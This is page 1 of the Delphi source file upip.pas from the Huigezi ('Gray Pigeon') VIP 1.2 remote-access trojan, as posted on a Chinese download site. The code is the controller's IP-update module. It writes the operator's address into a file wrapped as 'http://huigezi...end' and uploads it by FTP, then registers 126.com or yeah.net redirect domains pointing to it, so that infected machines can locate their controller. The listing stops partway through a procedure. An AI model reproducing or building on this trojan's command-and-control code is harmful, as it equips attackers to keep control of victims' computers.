⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 upip.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit UpIp;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, SkinTabs, DynamicSkinForm, ImgList, StdCtrls,
  SkinBoxCtrls, SkinCtrls,mmsystem, Mask, Shellapi, DESCrypt ,  WinInet ,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, LangFrm,
  Psock, NMFtp;

type  // 本地代理服务器设置信息。
  TProxyServerInf = record
    httpName: string;
    httpport: integer;
    SocksName: string;
    Socksport: integer;
  end;

type
  TUpIpDate = class(TLangForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    PageControl1: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    TabSheet2: TspSkinTabSheet;
    ImageList1: TImageList;
    Panel1: TspSkinPanel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    Label6: TspSkinStdLabel;
    FTPAdder: TspSkinEdit;
    FTPPort: TspSkinEdit;
    FTPUser: TspSkinEdit;
    Panel2: TspSkinPanel;
    Label7: TspSkinStdLabel;
    IpFileEdit: TspSkinEdit;
    Label8: TspSkinStdLabel;
    IPAddEdit: TspSkinComboBox;
    RadioBox1: TspSkinCheckRadioBox;
    FtpButton1: TspSkinButton;
    Label1: TspSkinLabel;
    Label10: TspSkinStdLabel;
    user126: TspSkinEdit;
    Label12: TspSkinStdLabel;
    Label13: TspSkinStdLabel;
    Label14: TspSkinStdLabel;
    ComboBox1: TspSkinComboBox;
    RadioBox2: TspSkinCheckRadioBox;
    URLButton: TspSkinButton;
    TabSheet4: TspSkinTabSheet;
    Label20: TspSkinStdLabel;
    UserEdit: TspSkinEdit;
    Label21: TspSkinStdLabel;
    Label22: TspSkinStdLabel;
    IPComboBox2: TspSkinComboBox;
    Button3: TspSkinButton;
    IdHTTP1: TIdHTTP;
    Label23: TspSkinStdLabel;
    EmailEdit1: TspSkinEdit;
    TabSheet3: TspSkinTabSheet;
    Label15: TspSkinStdLabel;
    XwEdit: TspSkinEdit;
    Label17: TspSkinStdLabel;
    Xwuser: TspSkinEdit;
    Label18: TspSkinStdLabel;
    Label19: TspSkinStdLabel;
    XWComboBox: TspSkinComboBox;
    CheckRadioBox1: TspSkinCheckRadioBox;
    XWButton: TspSkinButton;
    Label16: TLabel;
    Label9: TspSkinStdLabel;
    httpEdit: TspSkinEdit;
    YComboBox: TspSkinComboBox;
    Label11: TLabel;
    ComboBox10: TspSkinComboBox;
    Label24: TspSkinStdLabel;
    IdHTTP2: TIdHTTP;
    FTPPass1: TspSkinPasswordEdit;
    FTPPass2: TspSkinPasswordEdit;
    spSkinEdit2: TspSkinPasswordEdit;
    pass126: TspSkinPasswordEdit;
    Xwpass: TspSkinPasswordEdit;
    PassEdit1: TspSkinPasswordEdit;
    PassEdit2: TspSkinPasswordEdit;
    NMFTP1: TNMFTP;
    procedure Button3Click(Sender: TObject);
    procedure AfterGetFile(Sender: TObject);
    procedure FtpButton1Click(Sender: TObject);
    procedure URLButtonClick(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure RadioBox2Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure XWButtonClick(Sender: TObject);
    procedure Label16Click(Sender: TObject);
    procedure CheckRadioBox1Click(Sender: TObject);
    procedure Label11Click(Sender: TObject);
    procedure user126Change(Sender: TObject);
    procedure spSkinEdit2Change(Sender: TObject);
    procedure YComboBoxClick(Sender: TObject);
    procedure NMFTP1Success(Trans_Type: TCmdType);
    procedure NMFTP1Connect(Sender: TObject);
    procedure NMFTP1ConnectionFailed(Sender: TObject);
    procedure NMFTP1Error(Sender: TComponent; Errno: Word; Errmsg: String);
    procedure NMFTP1Status(Sender: TComponent; Status: String);
  private
    { Private declarations }
  public
    { Public declarations }
    i: integer;
    procedure Get_UserFile;
    function Update(Body,UpdateS:String):Boolean;
  end;



var
  UpIpDate: TUpIpDate;

implementation
uses
  Main;
{$R *.dfm}

function CenterStr(Src:String;Before,After:String):String;
  { 这个函数用来分离两个字符串中间的字符串,
    例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;


function GetDefaultProxyServer(var ProxyStr: TProxyServerInf):Boolean;
var
 ProxyInfo: PInternetProxyInfo;
 Buffer: Pointer;
 BUF_SIZE: DWORD;
 Temp,Tmpip:String;
 i:integer;
begin
 Result := False;
 try
 BUF_SIZE:=1024;
 GetMem(Buffer,BUF_SIZE);
 ProxyStr.httpName :='';
 ProxyStr.httpport :=0;
 ProxyStr.SocksName :='';
 ProxyStr.Socksport :=0;
   if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then
   begin
     ProxyInfo := Buffer;
     if ProxyInfo^.lpszProxy<>'' then
     begin
       Temp:= ProxyInfo^.lpszProxy+' ';
       //HgzFsbSVip.Memo1.Lines.Text:=Temp;

       i:=pos('http=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'http=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.httpName:=Copy(Tmpip,1,i-1);
               ProxyStr.httpport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       i:=pos('socks=',Temp);
       if i>0 then
         begin
           Tmpip:=CenterStr(Temp,'socks=',' ');
           i:=pos(':',Tmpip);
           if i>0 then
             begin
               ProxyStr.SocksName :=Copy(Tmpip,1,i-1);
               ProxyStr.Socksport:=Strtoint(Copy(Tmpip,i+1,Length(Tmpip)));
             end;
         end;
       if (ProxyStr.httpName='') and (ProxyStr.SocksName='') then
         begin
           i:=pos(':',Temp);
           if i>0 then
             begin
               Delete(Temp,Length(Temp),1);
               ProxyStr.httpName :=Copy(Temp,1,i-1);
               ProxyStr.httpport :=Strtoint(Copy(Temp,i+1,Length(Temp)));
             end;
         end;
       //HgzFsbSVip.Memo1.Lines.Add('HTTP:'+ProxyStr.httpName);
       //HgzFsbSVip.Memo1.Lines.Add('PORT:'+inttoStr(ProxyStr.httpport));
       
       Result := True;
     end else begin
       Result := False;
     end;
   end Else begin
     Result := False;
   end;
 finally
   FreeMem(Buffer);
 end;
end;

procedure TUpIpDate.Get_UserFile;
var
   IPFile:String;
   F: textfile;
begin
  try
    IPFile := ExtractFilePath(Paramstr(0)) + 'FTPIp.dat';
    AssignFile(F,IPFile);
    Rewrite(F);{F为TextFile类型}
    WriteLn(F,'http://huigezi'+IPAddEdit.Text+'end');
    CloseFile(F);
  except
    Label1.Caption:=Translate('String0','写FTP上传文件出错.');
    Exit;
  end;

  with NMFTP1 do
    begin
      Host := FTPAdder.Text;
      Port := Strtoint(FTPPort.Text);// Standardport
      TimeOut := 20000; // 20 sek Versuch
      UserID := FTPUser.Text;
      Password := FTPPass1.Text;
      Connect;
      Mode(MODE_IMAGE);
      Upload(IPFile,IpFileEdit.Text);
    end;



{   GetThread := TFTPThreadEx.Create(True);

   with GetThread do begin
      LocalFile   := IPFile;
      RemoteFile  := IpFileEdit.Text;
      Host        := FTPAdder.Text;
      FtpPorts    := Strtoint(FTPPort.Text);
      UserName    := FTPUser.Text;
      Password    := FTPPass1.Text;
      FTPMode     := FtpSend;
      StatProc    := FTPStatus;
      OnTerminate := AfterGetFile;
      NeedSave    := DoSave;
   end;
   GetThread.Resume; }
end;

procedure TUpIpDate.AfterGetFile(Sender: TObject);
var
Temp:String;
begin
try
  if httpEdit.Text<>'' then
  begin
    Temp:=IdHTTP1.Get(httpEdit.Text);
    if pos(IPAddEdit.Text,Temp)>0 then
      begin
        Label1.Caption:=Translate('String1','FTP更新IP成功.');
          if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;
            end;
      end else begin
        Label1.Caption:=Translate('String2','FTP更新IP完成.但Http访问无效.');
      end;
  end else begin
        Label1.Caption:=Translate('String1','FTP更新IP成功.');
          if HgzVip.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(HgzVip.UpIPok),snd_async);
              except
              end;
            end;
  end;
except
  Label1.Caption:=Translate('String3','FTP更新IP完成.但Http访问出错.');
end;
end;


function Replace(Str: String;Find:string;ToStr:String): string;
var
  Text,A,B: String;
  i,k: Integer;
begin
  Text:=Str;
  for k:=1 to Length(Str) do
  begin
    i:=pos(Find,Text);
    if i>0 then
      begin
        Delete(Text,i,Length(Find));
        A:=copy(Text,1,i-1);
        B:= copy(Text,i,Length(Text));
        Text:=A+ToStr+B;
      end else break;
  end;
  Result := Text;
end;


procedure TUpIpDate.FtpButton1Click(Sender: TObject);
begin
if FTPAdder.Text='' then
  begin
    Label1.Caption :=Translate('String4','请输入FTP服务器地址!');
    Exit;
  end;
if FTPUser.Text='' then
  begin
    Label1.Caption :=Translate('String5','请输入FTP用户名!');
    Exit;
  end;
if FTPPass1.Text<>FTPPass2.Text then
  begin
    Label1.Caption :=Translate('String6','两次密码输入不一样!');
    FTPPass1.Text:='';
    FTPPass2.Text:='';
    Exit;
  end;
Get_UserFile;
end;

function TUpIpDate.Update(Body,UpdateS:String):Boolean;
var
i:integer;
begin
Result:=False;
i:=pos(UpdateS,Body);      //Update:='修改成功'
if i>=1 then  Result:=True;
end;

procedure ZhuIPtohttp;
var
username,pass,Temp:string;
ProxyStr: TProxyServerInf;
begin
try
    username:=UpIpDate.UserEdit.Text;
    pass:= UpIpDate.PassEdit1.Text;

    if GetDefaultProxyServer(ProxyStr) then  {本地设置了代理服务器}
      begin
           if ProxyStr.httpName<>'' then
           begin
             UpIpDate.IdHTTP1.ProxyParams.ProxyServer:=ProxyStr.httpName;
             UpIpDate.IdHTTP1.ProxyParams.ProxyPort:=ProxyStr.httpport;
           end;
      end else
      begin
        UpIpDate.IdHTTP1.ProxyParams.ProxyServer:='';
        UpIpDate.IdHTTP1.ProxyParams.ProxyPort:=0;
      end;

    if UpIpDate.ComboBox10.ItemIndex=0 then
      Temp:=UpIpDate.IdHTTP1.Get('http://my.126.com/cgi-bin/register?username='+username+'&domain=126.com&password='+pass+'&password2='+pass+'&email='+UpIpDate.EmailEdit1.Text+
      '&url=http://huigezi'+UpIpDate.IPComboBox2.Text+'end')
    else
      Temp:=UpIpDate.IdHTTP1.Get('http://my.yeah.net/cgi-bin/register?username='+username+'&domain=yeah.net&password='+pass+'&password2='+pass+'&email='+UpIpDate.EmailEdit1.Text+
      '&url=http://huigezi'+UpIpDate.IPComboBox2.Text+'end');
    if UpIpDate.Update(Temp,UpIpDate.Translate('String7','注册成功')) then begin
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String8','注册域名成功!');
    end
    else begin
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String9','注册域名失败!此域名可能被另一用户注册过了!');
    end;
  Except
    UpIpDate.Label1.Caption :=UpIpDate.Translate('String10','注册域名错误!请检查网络!');
  end;
end;

type
   TZhuCeThread = class(TThread)
   public
      procedure   Execute; override;
   end;

procedure TZhuCeThread.Execute;
begin
ZhuIPtohttp;
Terminate;
end;

procedure XWDns;
var
username,pass,Temp:string;
tmphttp:string;
ProxyStr: TProxyServerInf;
begin
  try
    username:=UpIpDate.Xwuser.Text;
    pass:= UpIpDate.Xwpass.Text;

    if GetDefaultProxyServer(ProxyStr) then  {本地设置了代理服务器}
      begin
           if ProxyStr.httpName<>'' then
           begin
             UpIpDate.IdHTTP2.ProxyParams.ProxyServer:=ProxyStr.httpName;
             UpIpDate.IdHTTP2.ProxyParams.ProxyPort:=ProxyStr.httpport;
           end;
      end else
      begin
        UpIpDate.IdHTTP2.ProxyParams.ProxyServer:='';

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -